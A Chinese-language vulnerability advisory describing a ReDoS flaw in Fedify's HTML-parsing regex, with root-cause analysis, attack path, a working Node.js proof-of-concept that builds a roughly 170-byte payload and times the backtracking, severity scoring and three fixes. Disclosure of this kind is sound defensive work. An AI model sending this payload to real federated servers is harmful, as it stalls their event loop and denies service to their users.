漏洞概要
Fedify 的文档加载器中存在一个正则表达式拒绝服务漏洞。位于 packages/fedify/src/runtime/docloader.ts:259 的 HTML 解析正则表达式包含嵌套的量词,在处理恶意构造的 HTML 响应时会导致灾难性的回溯。攻击者控制的联合服务器可以响应一个约170字节的恶意 HTML 负载,使受害者 Node.js 的事件循环阻塞超过 14 秒,从而导致拒绝服务。
漏洞详情
漏洞代码
漏洞位于 packages/fedify/src/runtime/docloader.ts 的第 258-264 行:
1
2
3
4
5
6
|
// 第 258-259 行:包含嵌套量词的漏洞正则表达式
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// 第 261 行:对响应体没有大小限制
const html = await response.text();
// 第 264 行:正则表达式执行循环
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
|
根本原因分析
该正则表达式具有嵌套量词和交替结构,是典型的 ReDoS 模式:
/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
- 外部量词:
((\s+...)+) - 匹配一个或多个属性组
- 内部交替:
("[^"]*"|'[^']*'|[^\s>]+) - 匹配属性值的多种方式
当正则表达式无法匹配时,引擎会以指数方式回溯,尝试嵌套模式所有可能的匹配方式。
攻击向量
- 受害者的 Fedify 应用程序调用
lookupObject("https://attacker.com/@user") 来获取参与者资料。
- 攻击者的服务器以
Content-Type: text/html 响应。
- 代码路径:
lookupObject() → documentLoader() → getRemoteDocument() → HTML 解析(第 258-287 行)。
- 第 261 行:
response.text() 在无大小限制的情况下读取整个响应体。
- 第 264 行:正则表达式执行触发灾难性回溯。
- 事件循环被阻塞数秒至数分钟,导致拒绝服务。
可利用性分析
- 无响应大小限制:通过
response.text() 读取整个 HTML 体,没有进行内容长度验证。
- 默认无超时设置:
AbortSignal 是可选的且未强制执行。
- 远程利用:攻击者只需要受害者从其 URL 获取内容。
- 无需身份验证:联合通常涉及从不受信任的服务器获取资料。
- 可被放大:多个并发请求可使服务完全瘫痪。
概念验证
快速复现 (Node.js)
可以通过以下独立脚本验证此漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
// 来自 docloader.ts:259 的漏洞正则表达式
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// 生成恶意 HTML 负载
function generateMaliciousPayload(repetitions) {
return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}
// 模拟 docloader.ts 中的漏洞代码路径
function simulateVulnerableCodePath(html) {
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// 测试不同负载大小的响应时间
console.log('Fedify ReDoS 漏洞概念验证\n');
console.log('重复次数 | 负载大小 | 耗时');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}秒`
: `${elapsed.toFixed(0)}毫秒`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' 字节').padEnd(12)} | ${timeStr}`);
// 如果耗时过长则停止
if (elapsed > 15000) break;
}
|
预期输出
1
2
3
4
5
6
7
8
9
10
|
Fedify ReDoS 漏洞概念验证
重复次数 | 负载大小 | 耗时
------------|--------------|--------
18 | 111 字节 | 14毫秒
20 | 123 字节 | 51毫秒
22 | 135 字节 | 224毫秒
24 | 147 字节 | 852毫秒
26 | 159 字节 | 3.26秒
28 | 171 字节 | 14.10秒
|
时间大约每增加 2 次重复就变为原来的 4 倍,这证明了 O(2^n) 的复杂度。
影响范围
受影响方
- 所有使用
lookupObject()、getDocumentLoader() 或内置文档加载器从外部 URL 获取内容的 Fedify 应用程序。
- 任何从可能不受信任的来源获取参与者资料、帖子或其他 ActivityPub 对象的联合服务器。
- 遵循标准联合模式的服务器——获取远程参与者是正常操作。
严重性评估
| 因素 |
评估 |
| 攻击向量 |
网络(远程) |
| 攻击复杂性 |
低(简单负载) |
| 所需权限 |
无 |
| 用户交互 |
无 |
| 影响 |
可用性(DoS) |
| 范围 |
整个服务 |
真实世界场景
- 一个由 Fedify 驱动的 Mastodon 兼容服务器收到来自
@attacker@evil.com 的关注请求或提及。
- 服务器尝试通过
lookupObject() 获取攻击者的个人资料。
- 攻击者的服务器以恶意 HTML 响应。
- 受害者服务器的事件循环被阻塞超过 14 秒。
- 在此期间,所有其他请求都会排队并可能超时。
- 重复攻击可导致持续的服务不可用。
建议的修复方案
方案 1:使用适当的 HTML 解析器(推荐)
使用 DOM 解析器替换基于正则表达式的 HTML 解析,这样可以避免回溯问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
// 使用 linkedom(轻量级 DOM 实现)
import { parseHTML } from 'linkedom';
// 将第 258-287 行替换为:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');
for (const link of links) {
const type = link.getAttribute('type');
const href = link.getAttribute('href');
if (
href &&
(type === 'application/activity+json' ||
type === 'application/ld+json' ||
type?.startsWith('application/ld+json;'))
) {
const altUri = new URL(href, docUrl);
if (altUri.href !== docUrl.href) {
return await fetch(altUri.href);
}
}
}
|
方案 2:添加响应大小限制
如果必须使用正则表达式,至少应添加大小限制:
1
2
3
4
5
6
7
8
9
10
11
|
const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');
if (contentLength > MAX_HTML_SIZE) {
throw new FetchError(url, '响应过大');
}
const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
throw new FetchError(url, '响应过大');
}
|
方案 3:重构正则表达式
如果倾向于使用正则表达式方法,可以使用原子分组或占有量词,或者重构以避免嵌套量词:
1
2
3
|
// 使用非回溯方法进行显式属性匹配
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;
|
参考资料
- OWASP:正则表达式拒绝服务 (ReDoS)
- CWE-1333:低效的正则表达式复杂度
- Cloudflare 中断分析(ReDoS 示例)